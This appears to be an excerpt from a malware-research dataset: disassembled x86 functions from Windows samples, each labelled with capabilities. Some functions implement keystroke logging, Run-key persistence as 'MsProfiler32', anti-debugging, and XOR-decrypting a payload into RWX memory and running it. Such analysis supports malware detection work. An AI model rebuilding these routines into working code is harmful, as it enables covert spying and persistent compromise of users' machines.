joyce8/EMBER2024-capa huggingface dataset:
Function at 0xadeeec
Capabilities:
Encode data using xor

Disassembly:
add ecx, dword [esp]
and dword [esp], ecx
or cl, byte [esp + 1]
cmp dword [esp], 0x3fec6af2
mov dword [esp], ecx
mov ecx, dword [esp + 0xc]
setbe byte [esp]
neg byte [esp]
add dword [esp + 4], 0xff942cd6
sub dword [esp], 0x9f32dda
mov dword [esp], 0xc034234
setle byte [esp]
not byte [esp]
seta byte [esp]
xor dword [esp], 0x75ce63fe
neg dword [esp]
ja 0x7f6344
or word [esp], 0x3a87
sub byte [esp], 0x19
mov word [esp], 0x78a7
add dword [esp], 0x7c5155e9
push dword [esp + 8]
popfd
lea esp, [esp + 0x10]
call fcn.00925e95
add ebp, 4
cmp ax, di
xor eax, ebx
jmp 0xa8a774
xor bl, cl
cmp esi, 0x7f280418
mov dword [esp + ecx], eax
or ecx, ebp
rol ecx, cl
lea edi, [edi - 4]
sar cx, cl
sbb cx, 0x5bc0
mov ecx, dword [edi]
cmp dx, ax
xor ecx, ebx
rol ecx, 1
test ebp, ebp
add ecx, 0x22ee294d
rol ecx, 2
cmp edx, 0x3c621d07
neg ecx
xor ebx, ecx
add ebp, ecx
push ebp
ret
jmp fcn.00b0e6c0
rol cl, 1
not cl
cmp sp, 0xf8d
cmc
xor cl, 0xc2
stc
test edx, 0x132068a5
jmp 0x854260
xor eax, 0x474345cf
inc eax
clc
cmp dx, 0x1102
cmc
not eax
bswap eax
xor ebx, eax
cmc
add esi, eax
jmp 0x869252
push ecx
xor dword [esp], ecx
jge 0x7f6340
stc
sub cl, 0xaf
neg cl
clc
jmp 0x9e65d8

Function at 0xae9102
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x2a8d7968
jle 0xae9126
xor si, 0x79e5
xor cl, 0x5b
push edx
movzx si, cx
xor ebx, ebx
mov ecx, 0x60090a47
mov edx, 0x7150dcd
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x14], 0x168f549b
push ebp
mov ebp, 0x1ac109cc
add dword [esp + 8], 0xfff2b221
cmp dl, 0xd1
ja 0xae9132
cmova cx, dx
lea ebp, [ebp + edx + 0x45a841c9]
mov ebp, 0xf50392c
not ecx
xor edx, ecx
jns 0xae9149
push esi
push ebp
or ebp, ecx
je 0xb21e43
lea ecx, [ebp + ebp*8 + 0x22ec5507]
mov ebp, 0x41971dba
mov bp, si
test dword [esp], ebp
not esi
push ecx
mov edx, dword [esp + 0x10]
mov ebp, dword [esp + 0xc]
lea esp, [esp + 0x14]
ret

Function at 0xb60bf9
Capabilities:
Execute anti-debugging instructions

Disassembly:
push eax
cbw
mov ax, 0xac4
bswap ax
push esi
bswap esi
push ebp
not bp
push edx
rdtsc
movsx esi, si
bswap dx
push edi
lahf
push ebx
lahf
push ecx
rdtsc
pushfd
movzx dx, ch
movsx bx, bl
mov eax, 0
push eax
cwd
xchg dx, bp
ror ch, 0x14
mov esi, dword [esp + 0x28]
ror esi, 2
btr edi, 0xc3
sub esi, 0x7f2e08df
mov bp, 0x4f56
cdq
ror esi, 3
cmp bx, dx
xor esi, 0x2ea4c27
cmc
clc
lea esi, [esi + eax]
not dl
shrd cx, bx, 0xca
shr di, 0xc0
mov ebp, esp
sub esp, 0xc0
bt cx, bx
Function at 0xb680d5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub dword [esp + 0xc], 0x4e376f61
test dword [esp + 8], 0x7e1f2972
push dword [esp + 0x14]
popfd
lea esp, [esp + 0x28]
call fcn.009313b8
mov dword [esp + 0x10], 0x18ac1fea
pushfd
neg dl
sete dl
push ecx
xor word [esp], 0x505c
mov ebp, dword [esp]
push 0x7ca0559c
sub word [esp + 4], 0x1ba5
test cx, bp
not dword [esp + 4]
mov dword [esp + 4], 0x45a02028
push ebp
push edi
mov edi, dword [esp + 4]
mov esi, 0x5384e75
setno byte [esp + 0xc]
cmp si, word [esp + 6]
push ebx
lea esi, [esi*8 + 0x5d1f0edc]
lea esi, [edx*2 + 0x537637f7]
lea edi, [ecx*2 + 0x62930de9]
call fcn.0097698c
not byte [esp + 8]
seta byte [esp + 0x10]
js 0x87bbd1
jb 0x8b8386
jl 0x87bbd1
fiadd dword [ecx + ecx*4 - 0x79]
fsubp st(1)
enter 0xfffffffffffff947, 0xc
loopne 0xb68158
dec edx
invalid
push ecx
dec eax
dec esp
push ebx
fcomp dword [ebp - 0x2e]
sbb al, 0x3a
stc
dec esi
test al, 0x5d
int1
bound esi, qword [edi - 0x25]
idiv dword [edx + 0x71]
xor ebp, dword [ecx]
add dh, al
pop ss
mov dh, 7
cli
retf 0x7057

Function at 0xb6d32d
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [edi]
cmp eax, esp
clc
cmp ah, 0x12
xor edx, ebx
dec edx
bswap edx
test ecx, 0x77ce4ef6
stc
add edx, 0x471e596b
rol edx, 3
stc
cmp bx, cx
xor edx, 0x14053039
neg edx
xor ebx, edx
add ebp, edx
jmp ebp
push 0x58d37f79
neg edx
push 0x128a0bdf
and dword [esp + 4], ebp
sub dword [esp + 0x14], 0x59c23e15
xor word [esp + 0x14], dx
neg ebp
push 0x268f13ee
neg byte [esp + 0x18]
neg bp
jg 0xb6d345
out 0xff, eax
invalid
push 0x16b30160
neg dword [esp + 8]
push edi
add word [esp + 8], 0x5947
jno 0x98b339
pop ds
inc edx
sbb eax, 0x9e5f0cba
jb 0xb6d3f8
nop
popal
nop
sbb eax, 0x9d050d22
out 0xd7, eax
and esp, 0x10f02fd7
or byte [edx + 0x33a3546b], bh
lahf
insd dword es:[edi], dx
int 0xf7
inc eax
cmpsb byte [esi], byte es:[edi]
xlatb
pop edi
jl 0xb6d35a
ret
or dword [ebp - 0x32], ebp
arpl word [edx + 0x331003df], di
mov edx, 0x5caf9dcb
scasd eax, dword es:[edi]
push ebx
and eax, dword [ebx + edx*4 - 0x4e]
mov dh, 0x19
jo 0xb6d44c
stc
scasb al, byte es:[edi]
xor eax, dword [ecx + 0x7571e0da]
invalid
jo 0xb6d494
pop ecx
mov dword [0x37ac1f76], eax
cmc
salc
sal byte [ecx], 1
popal
jmp dword [eax + edx - 0x2c8d94d2]
out dx, eax
add al, 0
add byte [eax], al
jmp 0xb52316

Function at 0xb773bf
Capabilities:
Encode data using xor

Disassembly:
test dword [esp + 0x10], 0x5c6b2521
je 0x9992cd
lea ebp, [edi*2 + 0x622a5bf1]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x24], 0x18e8b100
push 0x758e3508
push 0x5e310167
neg word [esp + 8]
mov word [esp], 0x6feb
add dword [esp + 8], ebp
add dword [esp + 0x14], 0x29007e
jmp fcn.00afcdf6
rol ecx, 1
cmp cx, di
test bp, 0xb1c
xor ebx, ecx
clc
add ebp, ecx
jmp 0xa9f797
push edi
lea edi, [edi + edi + 0x4b382230]
mov esi, dword [esp]
setb byte [esp + 8]
jge 0x84549e
inc ecx
jmp 0xad77b1
Function at 0x10008e45
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10008e54
pop dword [ebp - 0x1c]
mov eax, 0x10008e54
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x5f066e5d
sub dword [ebp - 0x2c], 0x10b42912
mov dword [ebp - 0x28], 0xb62c0b9f
sub dword [ebp - 0x28], 0x83f8bf5a
mov dword [ebp - 0x24], 0xea7fa54e
add dword [ebp - 0x24], 0x61cc9ee0
mov dword [ebp - 0x20], 0x8c619a3
sub dword [ebp - 0x20], 0x8c619a3
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xdf19fb07
sub eax, 0xcf193ae3
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x71d0dd77
add dword [ebp - 0x2c], 0x2a18bdf
mov dword [ebp - 0x28], 0xba1d89cc
sub dword [ebp - 0x28], 0x78b12857
mov dword [ebp - 0x24], 0x7eedff2c
add dword [ebp - 0x24], 0xe4816d40
mov dword [ebp - 0x20], 0x82ccd9f3
add dword [ebp - 0x20], 0x7d33260d
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3ce3f
push 0
call eax
mov ecx, 0x92db091d
sub ecx, 0x92daad53
xor edi, edi
add edi, eax
mov edx, 0x162db353
add edx, 0xf9d6c0ad
add edx, dword [ebp - 0x1c]
mov esi, 0xd904b6d1
sub esi, 0x9ebb11f5
sub dword [ebp - 8], esi
mov ebx, dword [edx]
sub dword [ebp - 0x10], 0xc23f0226
xor ebx, esi
xor dword [ebp - 0xc], 0x25dd8e8e
mov dword [edi], ebx
xor dword [ebp - 4], 0xd323cc50
add edi, 4
add edx, 4
loop 0x10008f6e
add eax, 0x5d53695d
add eax, 0xa2adf89e
xor ebx, ebx
add ebx, eax
add eax, 0xdee8bc54
sub eax, 0xdee8bc4f
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
jmp 0x401012
mov eax, dword [0x461387]
shl eax, 2
mov dword [0x46138b], eax
push edx
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov edx, eax
call fcn.00455560
pop edx
call fcn.004554c4
call fcn.004555a0
push 0
call fcn.0045680c
pop ecx
push 0x461330
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov dword [0x46138f], eax
push 0
jmp fcn.0045b99c

Function at 0x401d38
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff84
mov eax, 0x461838
mov dword [ebp - 4], edx
call fcn.00455bf8
mov dword [ebp - 0xc], 1
lea edx, [ebp - 4]
lea eax, [ebp - 4]
call fcn.0045fb80
inc dword [ebp - 0xc]
lea edx, [ebp - 0x6c]
mov word [ebp - 0x18], 8
push 0x44
push 0
push edx
call fcn.00455894
add esp, 0xc
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x6c], 0x44
push ecx
lea eax, [ebp - 0x6c]
push eax
push 0
push 0
push 0x20
push 1
push 0
push 0
cmp dword [ebp - 4], 0
je 0x401d9c
mov edx, dword [ebp - 4]
jmp 0x401da1
mov edx, 0x461503
push edx
push 0
call sub.KERNEL32.DLL_CreateProcessA
test eax, eax
je 0x401dbf
mov eax, dword [ebp - 0x7c]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov ecx, dword [ebp - 0x78]
push ecx
call sub.KERNEL32.DLL_CloseHandle
dec dword [ebp - 0xc]
lea eax, [ebp - 4]
mov edx, 2
call fcn.0045fc18
mov ecx, dword [ebp - 0x28]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x401f94
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
mov eax, 0x46195c
mov dword [ebp - 8], edx
call fcn.00455bf8
mov dword [ebp - 0x30], 0x10
mov byte [ebp - 0x40], 0
lea edx, [ebp - 0x30]
push edx
lea ecx, [ebp - 0x40]
push ecx
call sub.KERNEL32.DLL_GetComputerNameA
mov word [ebp - 0x1c], 8
lea edx, [ebp - 0x40]
lea eax, [ebp - 4]
call fcn.0045fb48
mov edx, eax
inc dword [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.0045fc48
mov eax, dword [ebp - 8]
mov edx, 2
mov word [ebp - 0x1c], 0x14
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x10]
call fcn.0045fc18
pop eax
mov word [ebp - 0x1c], 8
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x402010
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde8
mov eax, 0x4619dc
push ebx
push esi
mov dword [ebp - 0x10], edx
call fcn.00455bf8
mov word [ebp - 0x24], 8
xor edx, edx
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 4], edx
inc dword [ebp - 0x18]
mov word [ebp - 0x24], 0x14
push ecx
push 0x101
call sub.WSOCK32.DLL_WSAStartup
test eax, eax
jne 0x40210f
push 0x50
lea eax, [ebp - 0x218]
push eax
call sub.WSOCK32.DLL_gethostname
inc eax
je 0x40210f
lea edx, [ebp - 0x218]
push edx
call sub.WSOCK32.DLL_gethostbyname
mov esi, eax
test esi, esi
je 0x40210f
xor ebx, ebx
jmp 0x402101
push 4
mov edx, dword [esi + 0xc]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.00455824
add esp, 0xc
test ebx, ebx
jle 0x4020ca
mov word [ebp - 0x24], 0x20
mov edx, 0x46154b
lea eax, [ebp - 8]
call fcn.0045fb48
inc dword [ebp - 0x18]
mov edx, dword [eax]
lea eax, [ebp - 4]
call fcn.0044c7b8
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.0045fc18
mov word [ebp - 0x24], 0x2c
mov ecx, dword [ebp - 0x38]
push ecx
call sub.WSOCK32.DLL_inet_ntoa
mov edx, eax
lea eax, [ebp - 0xc]
call fcn.0045fb48
inc dword [ebp - 0x18]
mov edx, dword [eax]
lea eax, [ebp - 4]
call fcn.0044c7b8
dec dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.0045fc18
inc ebx
mov ecx, dword [esi + 0xc]
mov eax, dword [ecx + ebx*4]
test eax, eax
jne 0x402084
call sub.WSOCK32.DLL_WSACleanup
mov word [ebp - 0x24], 0x38
lea edx, [ebp - 4]
mov eax, dword [ebp - 0x10]
call fcn.0045fc48
mov eax, dword [ebp - 0x10]
mov edx, 2
mov word [ebp - 0x24], 0x44
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x18]
call fcn.0045fc18
pop eax
mov word [ebp - 0x24], 0x38
inc dword [ebp - 0x18]
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40215c
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
mov dword [ebp - 0xc], edx
lea esi, [ebp - 0x30]
mov eax, 0x461a7c
call fcn.00455bf8
xor edx, edx
xor ecx, ecx
mov dword [ebp - 0x34], edx
lea eax, [ebp - 0x34]
mov word [esi + 0x10], 8
mov dword [ebp - 4], ecx
inc dword [esi + 0x1c]
mov word [esi + 0x10], 0x14
push eax
push 0
call sub.ADVAPI32.DLL_GetUserNameA
mov edx, dword [ebp - 0x34]
push edx
call fcn.004550b0
pop ecx
mov ebx, eax
mov byte [ebx], 0
lea eax, [ebp - 0x34]
push eax
push ebx
call sub.ADVAPI32.DLL_GetUserNameA
mov word [esi + 0x10], 0x20
lea eax, [ebp - 8]
mov edx, ebx
call fcn.0045fb48
mov edx, eax
inc dword [esi + 0x1c]
lea eax, [ebp - 4]
call fcn.0045fc48
dec dword [esi + 0x1c]
lea eax, [ebp - 8]
mov edx, 2
call fcn.0045fc18
push ebx
call fcn.00454eec
pop ecx
lea edx, [ebp - 4]
mov word [esi + 0x10], 0x2c
mov eax, dword [ebp - 0xc]
call fcn.0045fc48
mov eax, dword [ebp - 0xc]
mov edx, 2
mov word [esi + 0x10], 0x38
push eax
lea eax, [ebp - 4]
dec dword [esi + 0x1c]
call fcn.0045fc18
pop eax
mov word [esi + 0x10], 0x2c
inc dword [esi + 0x1c]
mov edx, dword [esi]
mov dword fs:[0], edx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40222c
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc8
push ebx
push esi
push edi
mov ebx, eax
mov eax, 0x461b10
call fcn.00455bf8
mov dl, 1
mov eax, dword [0x418940]
call fcn.004189ec
mov dword [ebp - 0x38], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x38]
call fcn.0045fb40
mov word [ebp - 0x24], 8
mov edx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 4]
call fcn.0045fb48
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0x38]
call fcn.00418af0
push eax
dec dword [ebp - 0x18]
lea eax, [ebp - 4]
mov edx, 2
call fcn.0045fc18
pop ecx
test cl, cl
je 0x4022ec
mov word [ebp - 0x24], 0x14
mov word [ebp - 0x24], 0x20
mov edx, str.MsProfiler32
lea eax, [ebp - 8]
call fcn.0045fb48
inc dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, dword [ebx + 0x2e8]
mov eax, dword [ebp - 0x38]
call fcn.00418c14
dec dword [ebp - 0x18]
lea eax, [ebp - 8]
mov edx, 2
call fcn.0045fc18
mov word [ebp - 0x24], 0
jmp 0x4022e4
mov eax, dword [ebp - 0x38]
call fcn.00418a5c
mov ebx, dword [ebp - 0x38]
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x402314
mov eax, dword [ebx]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x24], 0x38
mov edx, 3
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x24], 0x2c
mov edx, dword [ebp - 0x34]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402380
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
mov eax, 0x461b80
mov dword [ebp - 8], edx
call fcn.00455bf8
mov byte [ebp - 0x30], 0
push 0x104
lea edx, [ebp - 0x134]
push edx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebp - 0x1c], 8
lea edx, [ebp - 0x134]
lea eax, [ebp - 4]
call fcn.0045fb48
mov edx, eax
inc dword [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.0045fc48
mov eax, dword [ebp - 8]
mov edx, 2
mov word [ebp - 0x1c], 0x14
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x10]
call fcn.0045fc18
pop eax
mov word [ebp - 0x1c], 8
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret

Function at 0x402400
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
mov eax, 0x461bcc
mov dword [ebp - 8], edx
call fcn.00455bf8
mov byte [ebp - 0x30], 0
push 0x104
lea edx, [ebp - 0x134]
push edx
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov word [ebp - 0x1c], 8
lea edx, [ebp - 0x134]
lea eax, [ebp - 4]
call fcn.0045fb48
mov edx, eax
inc dword [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.0045fc48
mov eax, dword [ebp - 8]
mov edx, 2
mov word [ebp - 0x1c], 0x14
push eax
lea eax, [ebp - 4]
dec dword [ebp - 0x10]
call fcn.0045fc18
pop eax
mov word [ebp - 0x1c], 8
inc dword [ebp - 0x10]
mov edx, dword [ebp - 0x2c]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x418c40
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.004189bc
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.004535dc
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ADVAPI32.DLL_RegSetValueExA
test eax, eax
je 0x418c9e
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x465ebc]
mov dl, 1
mov eax, dword [0x4188e0]
call fcn.0044e5e8
call fcn.00452e60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x419c74
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00453198
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.USER32.DLL_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x419cc3
push 0x100
lea edx, [ebp - 0x102]
push edx
push eax
call sub.USER32.DLL_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, 0x100
call fcn.004533c8
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41fc8c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41fc92
ret

Function at 0x421ff0
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.KERNEL32.DLL_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x422041
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x422028
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x422018
jmp 0x422041
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x422029
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42909c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x466490
cmp dword [edi], 0
jne 0x429118
push pe_nt_image_headers32
push 0x1000
push 0x1000
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov esi, eax
mov eax, dword [0x46648c]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4623cc
mov ecx, 2
call fcn.004522b8
mov edx, 0x429074
lea eax, [esi + 5]
call fcn.00429094
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00429094
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x4290ed
mov dword [0x46648c], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x429234
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x429284]
test si, 4
je 0x429248
or bl, 1
test si, 8
je 0x429252
or bl, 4
test si, 1
je 0x42925c
or bl, 8
test si, 2
je 0x429266
or bl, 0x10
test si, 0x10
je 0x429270
or bl, 0x20
push 0x12
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x42927f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x429288
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4292c0]
push 0x10
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x4292a1
or bl, 1
push 0x11
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x4292b0
or bl, 4
test esi, 0x20000000
je 0x4292bb
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x42f810
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x42f822
add esp, 0xfffffff0
call fcn.00452a28
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00448e58
mov eax, ebx
call fcn.0042fb5c
push 0
call sub.USER32.DLL_GetKeyboardLayout
mov dword [ebx + 0x30], eax
mov dl, 1
mov eax, dword [0x442b1c]
call fcn.00452710
mov dword [ebx + 0x40], eax
mov dl, 1
mov eax, dword [0x442b1c]
call fcn.00452710
mov dword [ebx + 0x44], eax
mov dl, 1
mov eax, dword [0x442b1c]
call fcn.00452710
mov dword [ebx + 0x48], eax
mov dl, 1
mov eax, dword [0x442b1c]
call fcn.00452710
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x442b1c]
call fcn.00452710
mov dword [ebx + 0x70], eax
push 0
call sub.USER32.DLL_GetDC
mov esi, eax
push 0x5a
push esi
call sub.GDI32.DLL_GetDeviceCaps
mov dword [ebx + 0x34], eax
push esi
push 0
call sub.USER32.DLL_ReleaseDC
mov eax, dword [ebx + 0x4c]
push eax
mov eax, 0x42c300
push eax
push 0
push 0
mov eax, dword [0x465f54]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41f410]
call fcn.004206ec
mov dword [ebx + 0x78], eax
mov dl, 1
mov eax, dword [0x41f410]
call fcn.004206ec
mov dword [ebx + 0x7c], eax
mov dl, 1
mov eax, dword [0x41f410]
call fcn.004206ec
mov dword [ebx + 0x74], eax
mov eax, ebx
call fcn.0042ff3c
mov eax, dword [ebx + 0x78]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x42fe58
mov eax, dword [ebx + 0x7c]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x42fe58
mov eax, dword [ebx + 0x74]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x42fe58
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x42f931
call fcn.00452a80
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x42fc3c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x42fde7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x28], 0
jne 0x42fdc8
mov dl, 1
mov eax, dword [0x442e58]
call fcn.00452710
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00453198
lea eax, [ebp - 0x114]
push eax
push pe_nt_image_headers32
call sub.USER32.DLL_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x42fdb7
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00441df8
test al, al
je 0x42fdaa
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x42fdf8
lea eax, [ebp - 0x254]
call fcn.0044d71c
push eax
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x42fdaa
xor eax, eax
push ebp
push 0x42fda3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x100
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x42fe30
mov eax, dword [ebp - 0xc]
push eax
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x42fd8c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.004533c8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x42fd8c
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, 0x100
call fcn.004533c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fdaa
mov eax, dword [ebp - 0xc]
push eax
call sub.ADVAPI32.DLL_RegCloseKey
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x42fcad
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.00445eec
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x28]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42fdee
lea eax, [ebp - 0x260]
call fcn.00453198
ret

Function at 0x430634
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x466480]
cmp byte [eax + 0x95], 0
jne 0x4306a5
cmp dword [0x46649c], 0
jne 0x430666
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
push 0
mov eax, 0x4305f0
push eax
push 3
call sub.USER32.DLL_SetWindowsHookExA
mov dword [0x46649c], eax
cmp dword [0x466498], 0
jne 0x430681
push 0
push 0
push 0
push 0
call sub.KERNEL32.DLL_CreateEventA
mov dword [0x466498], eax
cmp dword [0x4664a0], 0
jne 0x4306a5
push esp
push 0
push 0
push 0x430594
push 0x3e8
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x4664a0], eax
pop edx
ret